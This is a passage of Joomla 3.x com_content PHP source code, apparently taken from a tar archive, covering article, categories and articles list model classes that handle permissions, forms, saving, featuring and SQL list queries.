			foreach ($fields as $field)
			{
				$fieldsData['com_fields'][$field->name] = $field->rawvalue;
			}
		}

		JEventDispatcher::getInstance()->trigger('onContentAfterSave', array('com_content.article', &$this->table, true, $fieldsData));
	}

	/**
	 * Batch move categories to a new category.
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.8.6
	 */
	protected function batchMove($value, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user = JFactory::getUser();
			$this->table = $this->getTable();
			$this->tableClassName = get_class($this->table);
			$this->contentType = new JUcmType;
			$this->type = $this->contentType->getTypeByTable($this->tableClassName);
		}

		$categoryId = (int) $value;

		if (!$this->checkCategoryId($categoryId))
		{
			return false;
		}

		JPluginHelper::importPlugin('system');
		$dispatcher = JEventDispatcher::getInstance();

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit', $contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);

					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND', $pk));
					continue;
				}
			}

			$fields = FieldsHelper::getFields('com_content.article', $this->table, true);
			$fieldsData = array();

			if (!empty($fields))
			{
				$fieldsData['com_fields'] = array();

				foreach ($fields as $field)
				{
					$fieldsData['com_fields'][$field->name] = $field->rawvalue;
				}
			}

			// Set the new category ID
			$this->table->catid = $categoryId;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk, $this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Run event for moved article
			$dispatcher->trigger('onContentAfterSave', array('com_content.article', &$this->table, false, $fieldsData));
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->state != -2)
		{
			return false;
		}

		return JFactory::getUser()->authorise('core.delete', 'com_content.article.' . (int) $record->id);
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();

		// Check for existing article.
		if (!empty($record->id))
		{
			return $user->authorise('core.edit.state', 'com_content.article.' . (int) $record->id);
		}

		// New article, so check against the category.
		if (!empty($record->catid))
		{
			return $user->authorise('core.edit.state', 'com_content.category.' . (int) $record->catid);
		}

		// Default to component settings if neither article nor category known.
		return parent::canEditState($record);
	}

	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		// Set the publish date to now
		if ($table->state == 1 && (int) $table->publish_up == 0)
		{
			$table->publish_up = JFactory::getDate()->toSql();
		}

		if ($table->state == 1 && intval($table->publish_down) == 0)
		{
			$table->publish_down = $this->getDbo()->getNullDate();
		}

		// Increment the content version number.
		$table->version++;

		// Reorder the articles within the category so the new article is first
		if (empty($table->id))
		{
			$table->reorder('catid = ' . (int) $table->catid . ' AND state >= 0');
		}
	}

	/**
	 * Returns a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable    A database object
	 */
	public function getTable($type = 'Content', $prefix = 'JTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Convert the params field to an array.
			$registry = new Registry($item->attribs);
			$item->attribs = $registry->toArray();

			// Convert the metadata field to an array.
			$registry = new Registry($item->metadata);
			$item->metadata = $registry->toArray();

			// Convert the images field to an array.
			$registry = new Registry($item->images);
			$item->images = $registry->toArray();

			// Convert the urls field to an array.
			$registry = new Registry($item->urls);
			$item->urls = $registry->toArray();

			$item->articletext = trim($item->fulltext) != '' ? $item->introtext . "<hr id=\"system-readmore\" />" . $item->fulltext : $item->introtext;

			if (!empty($item->id))
			{
				$item->tags = new JHelperTags;
				$item->tags->getTagIds($item->id, 'com_content.article');
			}
		}

		// Load associated content items
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$item->associations = array();

			if ($item->id != null)
			{
				$associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $item->id);

				foreach ($associations as $tag => $association)
				{
					$item->associations[$tag] = $association->id;
				}
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$app = JFactory::getApplication();
		$user = JFactory::getUser();

		// Get the form.
		$form = $this->loadForm('com_content.article', 'article', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		/*
		 * The front end calls this model and uses a_id to avoid id clashes so we need to check for that first.
		 * The back end uses id so we use that the rest of the time and set it to 0 by default.
		 */
		$id = (int) $jinput->get('a_id', $jinput->get('id', 0));

		// Determine correct permissions to check.
		if ($id = $this->getState('article.id', $id))
		{
			// Existing record. Can only edit in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.edit');

			// Existing record. Can only edit own articles in selected categories.
			if ($app->isClient('administrator'))
			{
				$form->setFieldAttribute('catid', 'action', 'core.edit.own');
			}
			else
			// Existing record. We can't edit the category in frontend if not edit.state.
			{
				if ($id != 0 && (!$user->authorise('core.edit.state', 'com_content.article.' . (int) $id))
					|| ($id == 0 && !$user->authorise('core.edit.state', 'com_content')))
				{
					$form->setFieldAttribute('catid', 'readonly', 'true');
					$form->setFieldAttribute('catid', 'required', 'false');
					$form->setFieldAttribute('catid', 'filter', 'unset');
				}
			}
		}
		else
		{
			// New record. Can only create in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.create');
		}

		// Object uses for checking edit state permission of article
		$record = new stdClass;
		$record->id = $id;

		// Get the category which the article is being added to
		if (!empty($data['catid']))
		{
			$catId = (int) $data['catid'];
		}
		else
		{
			$catIds  = $form->getValue('catid');

			$catId = is_array($catIds)
				? (int) reset($catIds)
				: (int) $catIds;

			if (!$catId)
			{
				$catId = (int) $form->getFieldAttribute('catid', 'default', 0);
			}
		}

		$record->catid = $catId;

		// Modify the form based on Edit State access controls.
		if (!$this->canEditState($record))
		{
			// Disable fields for display.
			$form->setFieldAttribute('featured', 'disabled', 'true');
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('publish_up', 'disabled', 'true');
			$form->setFieldAttribute('publish_down', 'disabled', 'true');
			$form->setFieldAttribute('state', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is an article you can edit.
			$form->setFieldAttribute('featured', 'filter', 'unset');
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('publish_up', 'filter', 'unset');
			$form->setFieldAttribute('publish_down', 'filter', 'unset');
			$form->setFieldAttribute('state', 'filter', 'unset');
		}

		// Prevent messing with article language and category when editing existing article with associations
		$assoc = JLanguageAssociations::isEnabled();

		// Check if article is associated
		if ($this->getState('article.id') && $app->isClient('site') && $assoc)
		{
			$associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $id);

			// Make fields read only
			if (!empty($associations))
			{
				$form->setFieldAttribute('language', 'readonly', 'true');
				$form->setFieldAttribute('catid', 'readonly', 'true');
				$form->setFieldAttribute('language', 'filter', 'unset');
				$form->setFieldAttribute('catid', 'filter', 'unset');
			}
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app  = JFactory::getApplication();
		$data = $app->getUserState('com_content.edit.article.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Pre-select some filters (Status, Category, Language, Access) in edit form if those have been selected in Article Manager: Articles
			if ($this->getState('article.id') == 0)
			{
				$filters = (array) $app->getUserState('com_content.articles.filter');
				$data->set(
					'state',
					$app->input->getInt(
						'state',
						((isset($filters['published']) && $filters['published'] !== '') ? $filters['published'] : null)
					)
				);
				$data->set('catid', $app->input->getInt('catid', (!empty($filters['category_id']) ? $filters['category_id'] : null)));
				$data->set('language', $app->input->getString('language', (!empty($filters['language']) ? $filters['language'] : null)));
				$data->set('access',
					$app->input->getInt('access', (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access')))
				);
			}
		}

		// If there are params fieldsets in the form it will fail with a registry object
		if (isset($data->params) && $data->params instanceof Registry)
		{
			$data->params = $data->params->toArray();
		}

		$this->preprocessData('com_content.article', $data);

		return $data;
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.7.0
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_by']))
			{
				unset($data['created_by']);
			}
		}

		if (!JFactory::getUser()->authorise('core.admin', 'com_content'))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input  = JFactory::getApplication()->input;
		$filter = JFilterInput::getInstance();

		if (isset($data['metadata']) && isset($data['metadata']['author']))
		{
			$data['metadata']['author'] = $filter->clean($data['metadata']['author'], 'TRIM');
		}

		if (isset($data['created_by_alias']))
		{
			$data['created_by_alias'] = $filter->clean($data['created_by_alias'], 'TRIM');
		}

		if (isset($data['images']) && is_array($data['images']))
		{
			$registry = new Registry($data['images']);

			$data['images'] = (string) $registry;
		}

		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// Create new category, if needed.
		$createCategory = true;

		// If category ID is provided, check if it's valid.
		if (is_numeric($data['catid']) && $data['catid'])
		{
			$createCategory = !CategoriesHelper::validateCategoryId($data['catid'], 'com_content');
		}

		// Save New Category
		if ($createCategory && $this->canCreateCategory())
		{
			$table = array();

			// Remove #new# prefix, if exists.
			$table['title'] = strpos($data['catid'], '#new#') === 0 ? substr($data['catid'], 5) : $data['catid'];
			$table['parent_id'] = 1;
			$table['extension'] = 'com_content';
			$table['language'] = $data['language'];
			$table['published'] = 1;

			// Create new category and get catid back
			$data['catid'] = CategoriesHelper::createCategory($table);
		}

		if (isset($data['urls']) && is_array($data['urls']))
		{
			$check = $input->post->get('jform', array(), 'array');

			foreach ($data['urls'] as $i => $url)
			{
				if ($url != false && ($i == 'urla' || $i == 'urlb' || $i == 'urlc'))
				{
					if (preg_match('~^#[a-zA-Z]{1}[a-zA-Z0-9-_:.]*$~', $check['urls'][$i]) == 1)
					{
						$data['urls'][$i] = $check['urls'][$i];
					}
					else
					{
						$data['urls'][$i] = JStringPunycode::urlToPunycode($url);
					}
				}
			}

			unset($check);

			$registry = new Registry($data['urls']);

			$data['urls'] = (string) $registry;
		}

		// Alter the title for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['title'] == $origTable->title)
			{
				list($title, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['title']);
				$data['title'] = $title;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['state'] = 0;
		}

		// Automatic handling of alias for empty fields
		if (in_array($input->get('task'), array('apply', 'save', 'save2new')) && (!isset($data['id']) || (int) $data['id'] == 0))
		{
			if ($data['alias'] == null)
			{
				if (JFactory::getConfig()->get('unicodeslugs') == 1)
				{
					$data['alias'] = JFilterOutput::stringURLUnicodeSlug($data['title']);
				}
				else
				{
					$data['alias'] = JFilterOutput::stringURLSafe($data['title']);
				}

				$table = JTable::getInstance('Content', 'JTable');

				if ($table->load(array('alias' => $data['alias'], 'catid' => $data['catid'])))
				{
					$msg = JText::_('COM_CONTENT_SAVE_WARNING');
				}

				list($title, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['title']);
				$data['alias'] = $alias;

				if (isset($msg))
				{
					JFactory::getApplication()->enqueueMessage($msg, 'warning');
				}
			}
		}

		if (parent::save($data))
		{
			if (isset($data['featured']))
			{
				$this->featured($this->getState($this->getName() . '.id'), $data['featured']);
			}

			return true;
		}

		return false;
	}

	/**
	 * Method to toggle the featured setting of articles.
	 *
	 * @param   array    $pks    The ids of the items to toggle.
	 * @param   integer  $value  The value to toggle to.
	 *
	 * @return  boolean  True on success.
	 */
	public function featured($pks, $value = 0)
	{
		// Sanitize the ids.
		$pks = (array) $pks;
		$pks = ArrayHelper::toInteger($pks);

		if (empty($pks))
		{
			$this->setError(JText::_('COM_CONTENT_NO_ITEM_SELECTED'));

			return false;
		}

		$table = $this->getTable('Featured', 'ContentTable');

		try
		{
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->update($db->quoteName('#__content'))
				->set('featured = ' . (int) $value)
				->where('id IN (' . implode(',', $pks) . ')');
			$db->setQuery($query);
			$db->execute();

			if ((int) $value == 0)
			{
				// Adjust the mapping table.
				// Clear the existing features settings.
				$query = $db->getQuery(true)
					->delete($db->quoteName('#__content_frontpage'))
					->where('content_id IN (' . implode(',', $pks) . ')');
				$db->setQuery($query);
				$db->execute();
			}
			else
			{
				// First, we find out which of our new featured articles are already featured.
				$query = $db->getQuery(true)
					->select('f.content_id')
					->from('#__content_frontpage AS f')
					->where('content_id IN (' . implode(',', $pks) . ')');
				$db->setQuery($query);

				$oldFeatured = $db->loadColumn();

				// We diff the arrays to get a list of the articles that are newly featured
				$newFeatured = array_diff($pks, $oldFeatured);

				// Featuring.
				$tuples = array();

				foreach ($newFeatured as $pk)
				{
					$tuples[] = $pk . ', 0';
				}

				if (count($tuples))
				{
					$columns = array('content_id', 'ordering');
					$query = $db->getQuery(true)
						->insert($db->quoteName('#__content_frontpage'))
						->columns($db->quoteName($columns))
						->values($tuples);
					$db->setQuery($query);
					$db->execute();
				}
			}
		}
		catch (Exception $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		$table->reorder();

		$this->cleanCache();

		return true;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   object  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return array('catid = ' . (int) $table->catid);
	}

	/**
	 * Allows preprocessing of the JForm object.
	 *
	 * @param   JForm   $form   The form object
	 * @param   array   $data   The data to be merged into the form object
	 * @param   string  $group  The plugin group to be executed
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		if ($this->canCreateCategory())
		{
			$form->setFieldAttribute('catid', 'allowAdd', 'true');

			// Add a prefix for categories created on the fly.
			$form->setFieldAttribute('catid', 'customPrefix', '#new#');
		}

		// Association content items
		if (JLanguageAssociations::isEnabled())
		{
			$languages = JLanguageHelper::getContentLanguages(false, true, null, 'ordering', 'asc');

			if (count($languages) > 1)
			{
				$addform = new SimpleXMLElement('<form />');
				$fields = $addform->addChild('fields');
				$fields->addAttribute('name', 'associations');
				$fieldset = $fields->addChild('fieldset');
				$fieldset->addAttribute('name', 'item_associations');

				foreach ($languages as $language)
				{
					$field = $fieldset->addChild('field');
					$field->addAttribute('name', $language->lang_code);
					$field->addAttribute('type', 'modal_article');
					$field->addAttribute('language', $language->lang_code);
					$field->addAttribute('label', $language->title);
					$field->addAttribute('translate_label', 'false');
					$field->addAttribute('select', 'true');
					$field->addAttribute('new', 'true');
					$field->addAttribute('edit', 'true');
					$field->addAttribute('clear', 'true');
					$field->addAttribute('propagate', 'true');
				}

				$form->load($addform, false);
			}
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Custom clean the cache of com_content and content modules
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_content');
		parent::cleanCache('mod_articles_archive');
		parent::cleanCache('mod_articles_categories');
		parent::cleanCache('mod_articles_category');
		parent::cleanCache('mod_articles_latest');
		parent::cleanCache('mod_articles_news');
		parent::cleanCache('mod_articles_popular');
	}

	/**
	 * Void hit function for pagebreak when editing content from frontend
	 *
	 * @return  void
	 *
	 * @since   3.6.0
	 */
	public function hit()
	{
		return;
	}

	/**
	 * Is the user allowed to create an on the fly category?
	 *
	 * @return  boolean
	 *
	 * @since   3.6.1
	 */
	private function canCreateCategory()
	{
		return JFactory::getUser()->authorise('core.create', 'com_content');
	}

	/**
	 * Delete #__content_frontpage items if the deleted articles was featured
	 *
	 * @param   object  $pks  The primary key related to the contents that was deleted.
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function delete(&$pks)
	{
		$return = parent::delete($pks);

		if ($return)
		{
			// Now check to see if this articles was featured if so delete it from the #__content_frontpage table
			$db = $this->getDbo();
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__content_frontpage'))
				->where('content_id IN (' . implode(',', $pks) . ')');
			$db->setQuery($query);
			$db->execute();
		}

		return $return;
	}
}
com_content/models/categories.php000060400000006574152453734450013221 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * This models supports retrieving lists of article categories.
 *
 * @since  1.6
 */
class ContentModelCategories extends JModelList
{
	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	public $_context = 'com_content.categories';

	/**
	 * The category context (allows other extensions to derived from this model).
	 *
	 * @var		string
	 */
	protected $_extension = 'com_content';

	private $_parent = null;

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   The field to order on.
	 * @param   string  $direction  The direction to order on.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$this->setState('filter.extension', $this->_extension);

		// Get the parent id if defined.
		$parentId = $app->input->getInt('id');
		$this->setState('filter.parentId', $parentId);

		$params = $app->getParams();
		$this->setState('params', $params);

		$this->setState('filter.published',	1);
		$this->setState('filter.access',	true);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':' . $this->getState('filter.extension');
		$id	.= ':' . $this->getState('filter.published');
		$id	.= ':' . $this->getState('filter.access');
		$id	.= ':' . $this->getState('filter.parentId');

		return parent::getStoreId($id);
	}

	/**
	 * Redefine the function an add some properties to make the styling more easy
	 *
	 * @param   bool  $recursive  True if you want to return children recursively.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItems($recursive = false)
	{
		$store = $this->getStoreId();

		if (!isset($this->cache[$store]))
		{
			$app = JFactory::getApplication();
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$params = new Registry;

			if ($active)
			{
				$params->loadString($active->params);
			}

			$options = array();
			$options['countItems'] = $params->get('show_cat_num_articles_cat', 1) || !$params->get('show_empty_categories_cat', 0);
			$categories = JCategories::getInstance('Content', $options);
			$this->_parent = $categories->get($this->getState('filter.parentId', 'root'));

			if (is_object($this->_parent))
			{
				$this->cache[$store] = $this->_parent->getChildren($recursive);
			}
			else
			{
				$this->cache[$store] = false;
			}
		}

		return $this->cache[$store];
	}

	/**
	 * Get the parent.
	 *
	 * @return  object  An array of data items on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getParent()
	{
		if (!is_object($this->_parent))
		{
			$this->getItems();
		}

		return $this->_parent;
	}
}
com_content/models/articles.php000060400000031630152453734450012671 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of article records.
 *
 * @since  1.6
 */
class ContentModelArticles extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 * @see     JControllerLegacy
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_title',
				'state', 'a.state',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'modified', 'a.modified',
				'created_by', 'a.created_by',
				'created_by_alias', 'a.created_by_alias',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language',
				'hits', 'a.hits',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'published', 'a.published',
				'author_id',
				'category_id',
				'level',
				'tag',
				'rating_count', 'rating',
			);

			if (JLanguageAssociations::isEnabled())
			{
				$config['filter_fields'][] = 'association';
			}
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.id', $direction = 'desc')
	{
		$app = JFactory::getApplication();

		$forcedLanguage = $app->input->get('forcedLanguage', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Adjust the context to support forced languages.
		if ($forcedLanguage)
		{
			$this->context .= '.' . $forcedLanguage;
		}

		$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$level = $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level');
		$this->setState('filter.level', $level);

		$language = $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '');
		$this->setState('filter.language', $language);

		$formSubmited = $app->input->post->get('form_submited');

		$access     = $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access');
		$authorId   = $this->getUserStateFromRequest($this->context . '.filter.author_id', 'filter_author_id');
		$categoryId = $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id');
		$tag        = $this->getUserStateFromRequest($this->context . '.filter.tag', 'filter_tag', '');

		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);

			$authorId = $app->input->post->get('author_id');
			$this->setState('filter.author_id', $authorId);

			$categoryId = $app->input->post->get('category_id');
			$this->setState('filter.category_id', $categoryId);

			$tag = $app->input->post->get('tag');
			$this->setState('filter.tag', $tag);
		}

		// List state information.
		parent::populateState($ordering, $direction);

		// Force a language
		if (!empty($forcedLanguage))
		{
			$this->setState('filter.language', $forcedLanguage);
			$this->setState('filter.forcedLanguage', $forcedLanguage);
		}
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . serialize($this->getState('filter.access'));
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . serialize($this->getState('filter.category_id'));
		$id .= ':' . serialize($this->getState('filter.author_id'));
		$id .= ':' . $this->getState('filter.language');
		$id .= ':' . serialize($this->getState('filter.tag'));

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);
		$user  = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid' .
				', a.state, a.access, a.created, a.created_by, a.created_by_alias, a.modified, a.ordering, a.featured, a.language, a.hits' .
				', a.publish_up, a.publish_down, a.note'
			)
		);
		$query->from('#__content AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the categories.
		$query->select('c.title AS category_title, c.created_user_id AS category_uid, c.level AS category_level')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		// Join over the parent categories.
		$query->select('parent.title AS parent_category_title, parent.id AS parent_category_id,
								parent.created_user_id AS parent_category_uid, parent.level AS parent_category_level')
			->join('LEFT', '#__categories AS parent ON parent.id = c.parent_id');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_by');

		// Join on voting table
		if (JPluginHelper::isEnabled('content', 'vote'))
		{
			$query->select('COALESCE(NULLIF(ROUND(v.rating_sum  / v.rating_count, 0), 0), 0) AS rating,
					COALESCE(NULLIF(v.rating_count, 0), 0) as rating_count')
				->join('LEFT', '#__content_rating AS v ON a.id = v.content_id');
		}

		// Join over the associations.
		if (JLanguageAssociations::isEnabled())
		{
			$subQuery = $db->getQuery(true)
				->select('COUNT(' . $db->quoteName('asso1.id') . ') > 1')
				->from($db->quoteName('#__associations', 'asso1'))
				->join('INNER', $db->quoteName('#__associations', 'asso2') . ' ON ' . $db->quoteName('asso1.key') . ' = ' . $db->quoteName('asso2.key'))
				->where(
					array(
						$db->quoteName('asso1.id') . ' = ' . $db->quoteName('a.id'),
						$db->quoteName('asso1.context') . ' = ' . $db->quote('com_content.item'),
					)
				);

			$query->select('(' . $subQuery . ') AS ' . $db->quoteName('association'));
		}

		// Filter by access level.
		$access = $this->getState('filter.access');

		if (is_numeric($access))
		{
			$query->where('a.access = ' . (int) $access);
		}
		elseif (is_array($access))
		{
			$access = ArrayHelper::toInteger($access);
			$access = implode(',', $access);
			$query->where('a.access IN (' . $access . ')');
		}

		// Filter by access level on categories.
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
			$query->where('c.access IN (' . $groups . ')');
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.state = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state = 0 OR a.state = 1)');
		}

		// Filter by categories and by level
		$categoryId = $this->getState('filter.category_id', array());
		$level = $this->getState('filter.level');

		if (!is_array($categoryId))
		{
			$categoryId = $categoryId ? array($categoryId) : array();
		}

		// Case: Using both categories filter and by level filter
		if (count($categoryId))
		{
			$categoryId = ArrayHelper::toInteger($categoryId);
			$categoryTable = JTable::getInstance('Category', 'JTable');
			$subCatItemsWhere = array();

			foreach ($categoryId as $filter_catid)
			{
				$categoryTable->load($filter_catid);
				$subCatItemsWhere[] = '(' .
					($level ? 'c.level <= ' . ((int) $level + (int) $categoryTable->level - 1) . ' AND ' : '') .
					'c.lft >= ' . (int) $categoryTable->lft . ' AND ' .
					'c.rgt <= ' . (int) $categoryTable->rgt . ')';
			}

			$query->where('(' . implode(' OR ', $subCatItemsWhere) . ')');
		}

		// Case: Using only the by level filter
		elseif ($level)
		{
			$query->where('c.level <= ' . (int) $level);
		}

		// Filter by author
		$authorId = $this->getState('filter.author_id');

